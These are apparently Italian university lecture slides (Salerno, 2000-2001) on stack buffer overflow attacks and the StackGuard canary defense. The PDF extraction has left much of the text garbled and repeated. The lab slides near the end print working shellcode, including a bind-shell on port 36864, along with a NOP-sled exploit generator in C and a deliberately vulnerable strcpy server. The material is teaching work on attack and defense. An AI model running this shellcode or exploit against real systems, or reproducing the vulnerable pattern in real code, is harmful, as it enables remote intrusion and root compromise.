• Non ci sono risultati.

9 I l Buffer Overflow Buffer Overflow è u n a d elle form e p iù com u n i d i vu ln era b ilità d i sistem i.

N/A
N/A
Protected

Academic year: 2021

Condividi "9 I l Buffer Overflow Buffer Overflow è u n a d elle form e p iù com u n i d i vu ln era b ilità d i sistem i."

Copied!
6
0
0

Testo completo

(1)

Università di Salerno Università di Salerno Facoltà di Scienze MM. FF. NN:

Facoltà di Scienze MM. FF. NN:

Sistemi di Elaborazione dell’Informazione: Sicurezza su Reti Sistemi di Elaborazione dell’Informazione: Sicurezza su Reti

Anno Accademico 2000 Anno Accademico 2000--2001 2001 Docente:

Docente: Prof. Alfredo De Prof. Alfredo De SantisSantis

a cura di Bartalotta Andrea

Bartalotta Andrea 56/10008356/100083 Capone Angelo

Capone Angelo 56/10003456/100034 Capozza Michele

Capozza Michele 56/10011356/100113 Ferri Guglielmo

Ferri Guglielmo 56/0099156/00991 Piccolo Sabatino

Piccolo Sabatino 56/0098356/00983 2

Buffer Overflow

Introduzione Introduzione

9 I l Buffer Overflow Buffer Overflow è u n a d elle form e p iù com u n i d i vu ln era b ilità d i sistem i.

9 D om in a l’a rea rela tiva a lla p en etra zion e in reti rem ote.

9 StackGuard Stack Guard - svilu p p a to n ei la b ora tori d ell’U n iversità d ell’O regon . S i p refigge d i ren d ere im m u n e il sistem a d a qu esto tip o d i a tta cco.

3

Gestione del Buffer Gestione del Buffer

Buffer Overflow

ƒ Buffer - b locco con tigu o d i m em oria ch e con tien e p iù ista n ze d ello stesso tip o d i d a to.

ƒ Overflow - riem p ire oltre il lim ite u n b u ffer.

ƒ Come è organizzata la memoria di un processo? Come è organizzata la memoria di un processo?

regione testo regione regione testo testo regione dati regione regione dati dati stackstackstack

• fissa ta fissa ta

• a sola lettu ra a sola lettu ra

• • cod ice d el p rogra m m a cod ice d el p rogra m m a variabili statiche

variabili statiche e dati e dati (in izia lizza ti e n on ) (in izia lizza ti e n on )

4

Cos’è uno Stack Cos’è uno Stack

Buffer Overflow

• T ip o d i d a to a stra tto ch e god e d ella p rop rietà LIFO LIFO.

• O p era zion i p rin cip a li - push e pop.

• A p p a re com e u n b locco d i m em oria con tigu o con ten en te d ei d a ti.

• • Stack pointer Stack pointer (S P ) - registro ch e p u n ta a lla cim a d ello sta ck.

• L a b a se è u n in d irizzo fisso.

Implementata

Implementata ad hoc ad hoc con il supporto di uno con il supporto di uno stack stack.

L in gu a ggi d i p rogra m m a zion e

L in gu a ggi d i p rogra m m a zion e ⇒ ⇒ costru tto d i costru tto d i procedura o funzione. procedura o funzione.

Cos’è uno Stack ( 2 ) Cos’è uno Stack ( 2 )

local variable local variable instruction instruction pointer pointer(I P )

stack frame stack stack frame frame

frame pointer(F P ) o base pointer (B P ).

frame framepointerpointer(F P ) o base pointerbase pointer(B P ).

stack pointer (S P ) stack pointer stack pointer (S P )

Un esempio: la regione dello Stack Un esempio: la regione dello Stack

buffer2 buffer1 SFP a b c

SFP– saved frame pointer. È il vecch io frame pointer sa lva to qu an d o vien e avvia ta la fu n zion e.

RET

RET–l’in d irizzo d i ritorn o.

memoria bassa

memoria alta void function(int a, int b, int c){

char buffer1[245];

char buffer2[512];

} void main(){

function(1,2,3);

}

voidfunction(inta, intb, intc){

charbuffer1[245];

charbuffer2[512];

} voidmain(){

function(1,2,3);

}

cima dello stack fondo dello stack

S u p p on ia m o ch e il p rogram m a sia sta to com p ilato con u n a version e d el gcc.

S u p p on ia m o ch e il p rogram m a sia S u p p on iam o ch e il p rogram m a sia stato com p ilato con u n a version e d el stato com p ilato con u n a version e d el gcc..gcc

mainch ia m a function(). I l cod ice a ssem b ly d i function() gen era le segu en ti a zion i:

pushl$ 3 pushl$ 2 pushl$ 1 callfu n ction

mainch ia m a function(). I l cod ice a ssem b ly d i function() gen era le segu en ti a zion i:

pushl$ 3 pushl$ 2 pushl$ 1 callfu n ction

• call im p ila instruction pointer

• IP vien e ch iam ato indirizzo di ritorno

• call im p ilainstructioninstructionpointerpointer

IPIPvien e ch iam a to indirizzo di indirizzo di ritorno

ritorno

(2)

7

Cos’è un attacco di

Cos’è un attacco di Buffer Overflow Buffer Overflow

Buffer Overflow

0000 FFFF

Stack cresce Stringa

cresce

Variabili locali buffer Indirizzo di

ritorno

La funzione ritorna “saltando” al

codice iniettato.

La funzione ritorna “

La funzione ritorna “saltando saltando” al ” al codice iniettato

codice iniettato. .

L’attaccante fornisce una stringa di grosse dimensioni ad un programma che non effettua controlli sulla taglia dei propri input.

L’attaccante fornisce una stringa di grosse grosse dimensioni

dimensioni ad un programma che non effettua controlli sulla taglia dei propri input.

La stringa sovrascrive l’indirizzo di ritorno e inietta il codice.

La stringa sovrascrive l’indirizzo di ritorno La stringa sovrascrive l’indirizzo di ritorno e inietta il codice.

e inietta il codice.

Codice d’attacco

8

Come attaccare con

Come attaccare con Buffer overflow Buffer overflow

Buffer Overflow

Codice vulnerabile Codice vulnerabile

qu a lsia si op era zion e effettu a ta su d i u n a rra y ch e n on effettu a con trolli su lla d im en sion e.

E siston o cook cook- -books books d a cu i estra rre il cod ice n ecessa rio.

d eve solo trova re codice vulnerabile codice vulnerabile a ll’in tern o d i p rogra m m i resid en ti su l sistem a .

9

Buffer Overflow: un problema attuale Buffer Overflow: un problema attuale

Buffer Overflow

¾ G ra n d e rison a n za n el 1 9 8 8 d op o il Worm Worm d i Internet ( Morris). Morris

¾ N on c’è sta to n essu n segn o d i m igliora m en to, in qu a n to:

• ca u sa to d a fu n zion i “pericolose pericolose” d el C p resen ti n elle lib rerie sta n d a rd (strcpy() strcpy() , strcat() strcat() , etc).

• solo solo programmazione programmazione accurata accurata p u ò lim ita re qu esta vu ln era b ilità .

• n u ove patch patch in trod u con o n u ove vu ln era b ilità .

• u n debugging debugging a ccu ra to p otreb b e n on elim in a re il p rob lem a .

10

Vulnerabilità ed attacchi Vulnerabilità ed attacchi

Buffer Overflow

• L o scop o è d i sovvertire la fu n zion e d i u n programma privilegiato programma privilegiato.

• P er otten ere qu esto risu lta to l’a tta cca n te d eve:

1 .

1 . P red isp orre il cod ice a d a tto, d a P red isp orre il cod ice a d a tto, d a esegu ire n ello sp a zio esegu ire n ello sp a zio d 'in d irizza m en to d el p rogra m m a . d 'in d irizza m en to d el p rogra m m a .

0000 FFFF

Stack cresce Stringa

cresce Stack frame

Variabili locali buffer Indirizzo di

ritorno Codice d’attacco

2 .

2 . P erm ettere a l p rogra m m a d i sa lta re P erm ettere a l p rogra m m a d i sa lta re a qu el cod ice, con p a ra m etri esa tti, a qu el cod ice, con p a ra m etri esa tti, ca rica ti n ei registri e n ella m em oria ca rica ti n ei registri e n ella m em oria

Come utilizzare codice d’attacco Come utilizzare codice d’attacco

D u e m od i p er rea lizza re u n buffer overflow buffer overflow:

™ ™ Iniettare il codice: Iniettare il codice:

• I l cod ice a d a tto è p resen te n ello sp a zio d i in d irizza m en to.

• L 'a tta cca n te h a b isogn o d i p a ra m etrizza re il cod ice.

• L L ’ ’a tta cca n te fa in m od o ch e il p rogra m m a sa lti a d esso a tta cca n te fa in m od o ch e il p rogra m m a sa lti a d esso.

• L 'a tta cca n te forn isce u n a strin ga in in p u t

• I l p rogra m m a lo ca rica in u n b u ffer.

• L 'a tta cca n te sta u sa n d o i L 'a tta cca n te sta u sa n d o i b u ffers b u ffers d el p rogra m m a vittim a p er d el p rogra m m a vittim a p er m em orizza rvi il cod ice d 'a tta cco.

m em orizza rvi il cod ice d 'a tta cco.

™

™ Il codice è Il codice è gi già à l ì: :

Modifica del flusso Modifica del flusso

Corrompere i puntatori

Corrompere i puntatori ⇒ ⇒ indirizzo di ritorno indirizzo di ritorno

™ ™ Record d'Attivazione: Record d'Attivazione:

• C orrom p ere l'in d irizzo d i ritorn o n el record d i a ttiva zion e

• L ’a tta cca n te ca u sa il sa lto d el p rogra m m a a l cod ice d 'a tta cco.

stack smashing attack stack smashing attack ( (a tta cco ch e fra ca ssa lo sta ck a tta cco ch e fra ca ssa lo sta ck). ).

• P osson o essere a lloca ti ovu n qu e (stack stack, heap heap, area dati area dati).

• L 'a tta cca n te n ecessita d i trova re u n b u ffer a d ia cen te a l p u n ta tore a fu n zion e.

• M a n d a qu este a ree in overflow p er ca m b ia re il p u n ta tore M a n d a qu este a ree in overflow p er ca m b ia re il p u n ta tore.

™

™ Puntatori a Funzione: Puntatori a Funzione: .

(3)

13

Tecnica tipica d’attacco Tecnica tipica d’attacco

Buffer Overflow

C om b in a zion e d i:

tecnica d'iniezione tecnica d'iniezione.

corruzione del record d'attivazione corruzione del record d'attivazione.

Nota:

Nota:

Iniezione Iniezione e e Corruzione Corruzione n on a vven gon o in u n 'u n ica a zion e. n on a vven gon o in u n 'u n ica a zion e.

• • L 'a tta cca n te p u L 'a tta cca n te p u ò ò in ietta re il cod ice op p u re fa r tra b occa re u n b u ffer in ietta re il cod ice op p u re fa r tra b occa re u n b u ffer d ifferen te p er

d ifferen te p er corrompere il puntatore al codice corrompere il puntatore al codice. .

• S e il cod ice è S e il cod ice è gi già à resid en te resid en te ⇒ ⇒ L L ’ ’a tta cca n te h a b isogn o d i a tta cca n te h a b isogn o d i p a ra m etrizza rlo

p a ra m etrizza rlo . .

14

Difese da Buffer Overflow Difese da Buffer Overflow

Buffer Overflow

Quattro approcci di base:

9

9 Il metodo di forza bruta ovvero Il metodo di forza bruta ovvero scrivere codice sicuro scrivere codice sicuro. . 9

9 Rendere l'area di memoria, d estin ata a con ten ere le Rendere l'area di memoria, d estin ata a con ten ere le va ria b ili,

va ria b ili, non eseguibile. non eseguibile.

9 9 Controllare la dimensione degli array a d ogn i a ccesso Controllare la dimensione degli array a d ogn i a ccesso. . 9 9 Verificare l'integrità Verificare l'integrit à dei puntatori dei puntatori p rim a d i p rim a d i

d ereferen zia rli d ereferen zia rli. .

15

Scrivere codice sicuro Scrivere codice sicuro

Buffer Overflow

• Irrimediabilmente costoso!

• utilizzare tools come grep.

• Programmazione sicura dovrebbe seguire le seguenti regole:

Irrimediabilmente costoso! Irrimediabilmente costoso !

• utilizzare tools come grep grep.

Programmazione sicura dovrebbe seguire le seguenti regole: Programmazione sicura

Principio del minor privilegio possibile. Principio del minor privilegio possibile.

Scrivere codice semplice. Scrivere codice semplice.

Non fidarsi di nessuno. Non fidarsi di nessuno.

Vulnerabilità al buffer overflow possono essere non facilmente individuabili

Vulnerabilità al buffer overflow possono essere Vulnerabilità al buffer overflow possono essere non facilmente individuabili

non facilmente individuabili

16

Buffer non eseguibili Buffer non eseguibili

Buffer Overflow

Impedire all'attaccante di eseguire il codice inserito

Rendere il segmento dati dello spazio di indirizzamento non eseguibile.

Impedire all'attaccante di eseguire il codice inserito Impedire all'attaccante di eseguire il codice inserito

Rendere il segmento dati dello spazio di indirizzamento non eseguibile non eseguibile.

Problemi Problemi

L in ea d i p rogettazion e d ei sistem i su i vecch i com p u ter

I p iù recen ti sistem i UNIX e MS Windows, dipendono d alla p ossib ilità d i inserire cod ice d in am ico n el segm en to d ati d ei p rogram m i, p er ottim izzare le p resta zion i.

A lcu n i sistem i d evon o sacrificare sostan ziali com p atib ilità d ei p rogram m i già in u so.

‰

‰ patch patch per per Linux Linux e e Solaris Solaris implementano questo criterio. implementano questo criterio.

‰

‰ pochi problemi di compatibilit pochi problemi di compatibilità à: :

ƒ

ƒnessun programma "normale" ha del codice eseguibile nello stack.nessun programma "normale" ha del codice eseguibile nello stack.

Controllo della dimensione degli array Controllo della dimensione degli array

™

™ Non è Non è possibile corrompere i dati adiacenti nello stack. possibile corrompere i dati adiacenti nello stack.

™

™ Elimina completamente le possibilità Elimina completamente le possibilit à di realizzare tali attacchi. di realizzare tali attacchi.

™ L'approccio diretto è L'approccio diretto è quello di testare tutti i riferimenti agli array. quello di testare tutti i riferimenti agli array.

Realizzazioni:

9 Controllo sulla dimensione degli array: (Jones & Kelly).

9 Controllo dell’accesso in memoria.

9 Linguaggi Type-Safety.

Realizzazioni:

Realizzazioni:

9

9 Controllo sulla dimensione degli array: (Jones Controllo sulla dimensione degli array: ( Jones & & Kelly Kelly). ).

9

9 Controllo dell’ Controllo dell ’accesso in memoria. accesso in memoria.

9

9 Linguaggi Type Linguaggi Type- -Safety Safety. .

Non basta inserire codice per realizzare un buffer overflow:

¾ è necessario modificare il flusso del programma in esecuzione.

Non basta inserire codice per realizzare un buffer overflow:

Non basta inserire codice per realizzare un buffer overflow:

¾

¾ è è necessario modificare il flusso del programma in esecuzione. necessario modificare il flusso del programma in esecuzione.

Verifica dell’integrità dei puntatori Verifica dell’integrità dei puntatori

Verifica:

¾ un puntatore è stato sovrascritto prima di essere utilizzato?

Verifica:

Verifica:

¾

¾ un puntatore un puntatore è è stato stato sovrascritto sovrascritto prima di essere utilizzato? prima di essere utilizzato ?

¾

¾ Snarskii Snarskii - - versione personalizzata di versione personalizzata di libc libc per per FreeBSD FreeBSD. .

¾

¾ Progetto Stack Progetto StackGuard Guard. .

¾ ¾ PointGuard PointGuard - - in fase di sviluppo. in fase di sviluppo . sviluppato in 3 modi distinti:

sviluppato in 3 modi distinti:

sviluppato in 3 modi distinti:

Attacchi mirati alla modifica di componenti del programma, che non siano i puntatori, andranno comunque a segno.

Attacchi

Attacchi mirati mirati alla modifica di componenti del programma, alla modifica di componenti del programma,

che non siano i puntatori, andranno comunque a segno

che non siano i puntatori, andranno comunque a segno. .

(4)

19

Stack StackGuard Guard

Buffer Overflow

Realizzato utilizzando una tecnica di compilazione che assicura l'integrità dell'area di memoria contenente l'indirizzo di ritorno del record d'attivazione della funzione.

Realizzato utilizzando una tecnica di compilazione che assicura Realizzato utilizzando una tecnica di compilazione che assicura l'integrit

l'integrità à dell'area di memoria contenente l'indirizzo di ritorno del dell'area di memoria contenente l'indirizzo di ritorno del record d'attivazione della funzione.

record d'attivazione della funzione.

0000 FFFF

Stack cresce Stringa

cresce Stack frame

variabili locali buffer Indirizzo di

ritorno Codice d’attacco

canarino canarino

20

Stack

StackGuard Guard ( 2 ) ( 2 )

Buffer Overflow

9 Stack StackGuard Guard è u n a p iccola patch d a a p p lica re a gcc gcc .

0000 FFFF

Stack cresce Stringa

cresce Stack frame

variabili locali buffer Indirizzo di

ritorno Codice d’attacco

canarino canarino

¾

¾dopo salta all'indirizzo di ritorno!dopo salta all'indirizzo di ritorno!

¾

¾aggiunge del codice specifico.aggiunge del codice specifico.

9 I l cod ice aggiuntivo aggiuntivo p ia zza u n a canary

canary word word vicin o a ll'in d irizzo d i ritorn o n ello sta ck.

9 I l cod ice verifica verifica ch e la canary canary word word sia in ta tta .

21

Stack

StackGuard Guard ( 3 ) ( 3 )

Buffer Overflow

Soluzione :

StackGuard u tilizza tre m etod i p er p reven ire qu esto a tta cco:

Terminator Canary Random Canary Xor Random Canary Soluzione

Soluzione : Stack

StackGuard Guard u tilizza tre m etod i p er p reven ire qu esto a tta cco:

Terminator Canary Terminator Canary Random Random Canary Canary Xor Random Xor Random Canary Canary Problema:

Problema:

p u ò sovra scrivere l'in d irizzo d i ritorn o sen za com p rom ettere canary

canary word word .

U n a tta cca n te legge la canary canary word word e la in ca p su la n ella strin ga d i a tta cco.

22

Terminator Canary Terminator Canary

Buffer Overflow

canary word

canary word costitu ita d a com u n i sim b oli d i term in a zion e u tilizza ti d a lle librerie standard

librerie standard d el C C:

‰ ‰ 0 0 - - N U L L N U L L

‰

‰ CR CR - - C a rria ge C a rria ge R etu rn R etu rn

‰

‰ LF LF - - L in e L in e F eed F eed

‰

‰ -1 - 1 - - E n d of F ile E n d of F ile Nota che Nota che: :

U n m a lin ten zion a to n on p otreb b e u sa re le fu n zion i sta n d a rd p er leggere qu esti sim b oli ed in ca p su la rli in u n a strin ga .

L e fu n zion i d i cop ia si ferm ereb b ero a lla p rim a occorren za d i u n o d i qu esti ca ra tteri.

Random Random Canary Canary canary word

canary word di 32 bit scelto al scelto al run run- -time time.

S egreto fa cile d a u sa re d ifficile d a in d ovin a re.

S egreto fa cile d a u sa re d ifficile d a in d ovin a re.

N on

N on è è m a i rivela ta . m a i rivela ta .

C a m b ia a d ogn i ria vvio d el p rogra m m a . C a m b ia a d ogn i ria vvio d el p rogra m m a .

Xor Random

Xor Random Canary Canary

M ecca n ism o in trod otto d a lla version e 1.21 d i Stack StackGuard Guard.

¾ canary word word con siste d i u n vettore d i 1 2 8 b it casu a li (quattro word scelte al run-time)

¾

¾ XOR XOR (4 word , retu rn a d d ress).

canary word

canary word lega ta a ll'in d irizzo d i ritorn o

d ella fu n zion e a ttiva .

(5)

25

Resistenza alle intrusioni

Buffer Overflow Programma

Vulnerabile

Risultato senza StackGuard

Risultato con StackGuard

D ip 3 . 3 . 7 n R oot sh ell P rogram m a b loccato E lm 2 . 4 P L 2 5 R oot sh ell P rogram m a b loccato

P erl 5. 003 R oot sh ell P rogram m a b loccato

con u scita irregolare

S a m b a R oot sh ell P rogram m a b loccato

S u p er P rob e R oot sh ell P rogram m a b loccato con u scita irregolare u m ou n t 2 . 5k/lib c 5. 3 . 1 2 R oot sh ell P rogram m a b loccato wwwcou n t v2 . 3 H ttp d sh ell P rogra m m a b locca to

zgv 2 . 7 R oot sh ell P rogram m a b loccato

26

Risultati sperimentali Risultati sperimentali

Buffer Overflow

S p erim en ta lm en te Stack StackGuard Guard rea lizza protezione effettiva con tro a tta cch i d i stack smashing stack smashing.

P reserva ca ra tteristich e d i compatibilit compatibilità à e utilizzo utilizzo d el sistem a p rotetto.

P rogetto Immunix Immunix: com p ila zion e d i u n 'in tera d istrib u zion e d i Linux Linux (Red Hat 5.1) con Stack StackGuard Guard.

microbenchmark

microbenchmark h an n o evid en zia to sosta n zia le in crem en to n el costo d i ogn i sin gola ch ia m a ta a fu n zion e.

macrobenchmark

macrobenchmark h a n n o evid en zia to u n overhead tota le tra scu ra b ile.

27

Risultati sperimentali (2) Risultati sperimentali (2)

Buffer Overflow

P eso d i StackGuard Stack Guard su l web server Apache

StackGuard # di client Connessioni (per secondo)

Latenza media (in secondi)

Throughput (in Mbit/sec)

No 2 34.44 0.0578 5.63

No 16 43.53 0.3583 6.46

No 30 47.2 0.6030 6.46

Si 2 34.92 0.0570 5.53

Si 16 53.57 0.2949 6.44

Si 30 50.89 0.5612 6.48

28

Considerazioni finali Considerazioni finali

Buffer Overflow

™ ™ Stack StackGuard Guard op era in m od o d el tu tto tra sp a ren te a ll'u ten te.

™ S u l sito d i Immunix Immunix si fa riferim en to a d u n a version e 2.0 d i Stack StackGuard Guard, tu tt’oggi risu lta irrep erib ile.

™ L e patch d isp on ib ili son o rela tive a version i ob solete d el com p ila tore gcc .

™ L ’en tu sia sm o in izia le n ei con fron ti d i qu esto p rogetto è a n d a to scem a n d o.

Laboratorio

Laboratorio Exploit & Shellcode Exploit & Shellcode

9 L ’exploit sfru tta u n a vu ln era b ilità p resen te in u n sistem a . 9 I l n ostro exp loit gen era la strin ga ch e sovra scrive l'in d irizzo d i ritorn o ed esegu e il cod ice d i a tta cco.

9 U n a shellcode è u n a rra y d i ca ra tteri ch e con tien e il cod ice esegu ib ile d a in ietta re.

9 L ’exploit exploit sfru tta u n a vu ln era b ilità p resen te in u n sistem a . 9 I l n ostro exp loit gen era la strin ga ch e sovra scrive l'in d irizzo d i ritorn o ed esegu e il cod ice d i a tta cco.

9 U n a shellcode shellcode è u n a rra y d i ca ra tteri ch e con tien e il cod ice esegu ib ile d a in ietta re.

Esempio Esempio charshellcode[] =

"\xeb\x2a\x5e\x89\x76\x08\xc6\x46\x07\x00\xc7\x46\x0c\x00\x00\x00"

"\x00\xb8\x0b\x00\x00\x00\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80"

"\xb8\x01\x00\x00\x00\xbb\x00\x00\x00\x00\xcd\x80\xe8\xd1\xff\xff"

"\xff\x2f\x62\x69\x6e\x2f\x73\x68\x00\x89\xec\x5d\xc3";

(6)

31

Realizzare un exploit Realizzare un exploit

Buffer Overflow

9 L o sta ck in izia p er ogn i p rogra m m a a llo stesso in d irizzo.

9 S a p en d o d ove in izia lo sta ck si p u ò p rova re a d indovinare d ove si trovi il b u ffer.

9 P a ra m etri d el p rogra m m a :

• d im en sion e d i b u ffer.

• offset d a llo sta ck p oin ter.

9I n serire istru zion i NOP a u m en ta n o la p rob a b ilità d i riu scita .

buffer

buffer SFPSFP RETRET aa bb cc memoria

bassa

memoria alta

cima dello stack fondo dello stack

0xDE

0xDE 0xDE0xDE0xDE0xDE0xDE0xDE 0xDE0xDE NNNNNNNSSSSSSSSSSS

NNNNNNNSSSSSSSSSSS

32

Realizzare un exploit ( 2 ) Realizzare un exploit ( 2 )

Buffer Overflow La nostra shellcode:

ch a r sh ellcod e[] =

"\xeb \x7 2 " /* jmp callz */

/* socket() */

"\x5e\x2 9 \xc0\x8 9 \x4 6 \x1 0\x4 0\x8 9 \xc3 \x8 9 \x4 6 \x0c\x4 0\x8 9 \x4 6 \x08 \x8 d \x4 e\x08 \xb 0\x6 6 \xcd \x 8 0"

/* bind()*/

"\x4 3 \xc6 \x4 6 \x1 0\x1 0\x6 6 \x8 9 \x5e\x1 4 \x8 8 \x4 6 \x08 \x2 9 \xc0\x8 9 \xc2 \x8 9 \x4 6 \x1 8 \xb 0\x9 0\x6 6 \x 8 9 \x4 6 \x1 6 \x8 d \x4 e\x1 4 \x8 9 \x4 e\x0c\x8 d \x4 e\x08 \xb 0\x6 6 \xcd \x8 0“

/* listen() */

"\x8 9 \x5e\x0c\x4 3 \x4 3 \xb 0\x6 6 \xcd \x8 0“

/* accept() */

"\x8 9 \x56 \x0c\x8 9 \x56 \x1 0\xb 0\x6 6 \x4 3 \xcd \x8 0“

/* dup2(s, 0); dup2(s, 1); dup2(s, 2); */

"\x8 6 \xc3 \xb 0\x3 f\x2 9 \xc9 \xcd \x8 0\xb 0\x3 f\x4 1 \xcd \x8 0\xb 0\x3 f\x4 1 \xcd \x8 0“

/* execve() */

"\x8 8 \x56 \x07 \x8 9 \x7 6 \x0c\x8 7 \xf3 \x8 d \x4 b \x0c\xb 0\x0b \xcd \x8 0"

/* callz: */

"\xe8 \x8 9 \xff\xff\xff/b in /sh ";

33

Il nostro exploit Il nostro exploit

Buffer Overflow

#include<stdlib.h>

#defineDEFAULT_OFFSET 0

#defineDEFAULT_BUFFER_SIZE 512

#defineNOP 0x90 charshellcode[] = ...

unsigned longget_sp(void) { __asm__("movl %esp,%eax");

}

voidmain(intargc, char*argv[]) { char*buff, *ptr;

long*addr_ptr, addr;

intoffset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;

inti;

if(argc > 1) bsize =atoi(argv[1]);

if(argc > 2) offset =atoi(argv[2]);

if(!(buff =malloc(bsize))) { printf("Can't allocate memory.\n");

exit(0);

}

addr =get_sp() - offset;

ptr =buff;

addr_ptr =(long *) ptr;

for(i =0; i < bsize; i+=4)

*(addr_ptr++) =addr;

for(i =0; i < bsize/2; i++) buff[i] =NOP;

ptr =buff + ((bsize/2) - (strlen(shellcode)/2));

for(i =0; i <

strlen(shellcode); i++)

*(ptr++) =shellcode[i];

buff[bsize - 1] ='\0';

memcpy(buff,"EGG=",4);

putenv(buff);

system("/bin/bash");

}

34

La nostra La nostra Demo Demo

Buffer Overflow

A p p lica zion e client/server ch e u tilizza i socket d i Berkley.

A p p lica zion e client/server client/server ch e u tilizza i socket socket d i Berkley.

U tilizzia m o u n a shellcode shellcode ch e crea u n socket socket d i ascolto su lla p orta 3 6 8 6 4 e a vvia u n a sh ell, red igen d o sta n d a rd input, output ed error su l socket stesso.

U tilizzia m o u n p rogra m m a ch e si con n ette a l socket socket e ottien e u n a shell remota shell remota su lla m a cch in a vittim a .

O tten ia m o l’accesso a ll’h ost rem oto con i p erm essi ch e a veva il server server.

Il server Il server

• I l server risp on d e con u n echo d i ritorn o.

• L a vu ln era b ilità d el server loca lizza ta n ella fu n zion e leggi():

voidleggi (char*buff,intconnfd){

charvuln[512];

intn,len,offset=0,tot=0;

while(n=read(connfd,&buff[tot],MAXLINE)>0){

tot+=n;

}

strcpy(vuln,buff);

strcat(vuln,", hello!\n");

write(connfd, vuln, strlen(vuln)+1);

}

Demo

Demo

Riferimenti

Documenti correlati

[r]

„ È basato su un database che contiene una serie di informazioni su ogni singolo file e directory che fanno parte del file-system.. „ Lo scopo è quello di verificare l'integrità

Da sempre Hachiko, un cane di razza Akita-inu, ogni gior- no accompagnava proprio a Shibuya il professore Ueno che insegnava presso il Dipartimento di Agricoltura

9:00 9:10 9:30 9:50 10:10 10:25 10:40 11:00 11:25

Il Mmg deve saper riconoscere i segni e sintomi tipici della scabbia, in modo da poter prontamente se- gnalare il caso, anche se solo so- spetto, al dermatologo e ai servizi ATS

➜ Prosecuzione del programma dopo l’eccezione: se le clausole catch non contengono un’istruzione return l’esecuzione del programma, una volta completato il lavoro nella

Address space layout randomization (ASLR) gli indirizzi della memoria di un processo vengono assegnati in modo casuale, impedendo quindi di fare assunzioni sulle posizioni

segnala ai Presidenti di Corte di Appello l’opportunità di sollecitare i dirigenti a non proporre allo stato le nuove tabelle per il biennio 1998-1999 e a predisporre